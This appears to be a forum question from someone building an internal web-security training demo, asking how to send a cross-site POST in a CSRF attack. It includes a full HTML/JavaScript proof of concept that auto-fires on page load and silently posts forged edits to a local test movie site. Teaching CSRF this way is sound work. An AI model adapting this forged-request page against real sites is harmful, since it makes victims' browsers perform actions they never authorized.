title: How to demonstrate a CSRF attack
body: <p>I'm doing an introduction to the web security to some other people in our enterprise, and I want to show some example to have more impact.</p>
  
  <p>For this I've created a small website which is vulnerable to this attack, this website will be accessible only on our network.</p>
  
  <p>I'm now trying to exploit this attack, but I've one question:</p>
  
  <p>How to do this with a POST form? </p>
  
  <p>I've no problem doing this with a GET query, but with a POST, I'm trying to do this with javascript, no problem if I host my code on the same host, but if I want to host my code to another host to be more realistic, I get blocked because it's a cross-domain request.</p>
  
  <p>So how should I send these POST vars?</p>
  
  <p>Thank you!</p>
  
  <p>Here is my current code:</p>
  
  <pre><code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"&gt;
  &lt;html&gt;
  &lt;head&gt;
  &lt;title&gt;CSRF attack demo&lt;/title&gt;
  &lt;script type="text/javascript"&gt;
  function getHTTPObject() {
          var http = false;
          //Use IE's ActiveX items to load the file.
          if(typeof ActiveXObject != 'undefined') {
              try {http = new ActiveXObject("Msxml2.XMLHTTP");}
              catch (e) {
                  try {http = new ActiveXObject("Microsoft.XMLHTTP");}
                  catch (E) {http = false;}
              }
          //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
          } else if (window.XMLHttpRequest) {
              try {http = new XMLHttpRequest();}
              catch (e) {http = false;}
          }
          return http;
      }
  function post_to_url(path, params, method) {
      method = method || "post"; // Set method to post by default, if not specified.
  
      // The rest of this code assumes you are not using a library.
      // It can be made less wordy if you use one.
      var form = document.createElement("form");
      form.setAttribute("method", method);
      form.setAttribute("action", path);
  
      for(var key in params) {
          var hiddenField = document.createElement("input");
          hiddenField.setAttribute("type", "hidden");
          hiddenField.setAttribute("name", key);
          hiddenField.setAttribute("value", params[key]);
  
          form.appendChild(hiddenField);
      }
  
      document.body.appendChild(form);
      form.submit();
  }
  
  function postToUrlBackground(path, params){
      var http = getHTTPObject();
  
      http.open("POST", path, true);
  
      //Send the proper header information along with the request
      http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      http.setRequestHeader("Content-length", params.length);
      http.setRequestHeader("Connection", "close");
  
      http.onreadystatechange = function() {//Call a function when the state changes.
          if(http.readyState == 4 &amp;&amp; http.status == 200) {
              //alert("Response received");
          }
      }
      http.send(params);
  }
  function TryAttack(){
      //alert("Sending");
      postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&amp;Year=2009&amp;OriginalTitle=%28500%29+DAYS+OF+SUMMERS&amp;Duration=5700&amp;IDMC=500+JOURS+ENSEMBLE");
      //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&amp;Year=2009&amp;OriginalTitle=%28500%29+DAYS+OF+SUMMERS&amp;Duration=5700&amp;IDMC=500+JOURS+ENSEMBLE"    );
      //alert("sent");
  }
  &lt;/script&gt;
  &lt;/head&gt;
  &lt;body onload="TryAttack()"&gt;
  &lt;img src=image.png /&gt;
  &lt;/body&gt;
  &lt;/html&gt;
  </code></pre>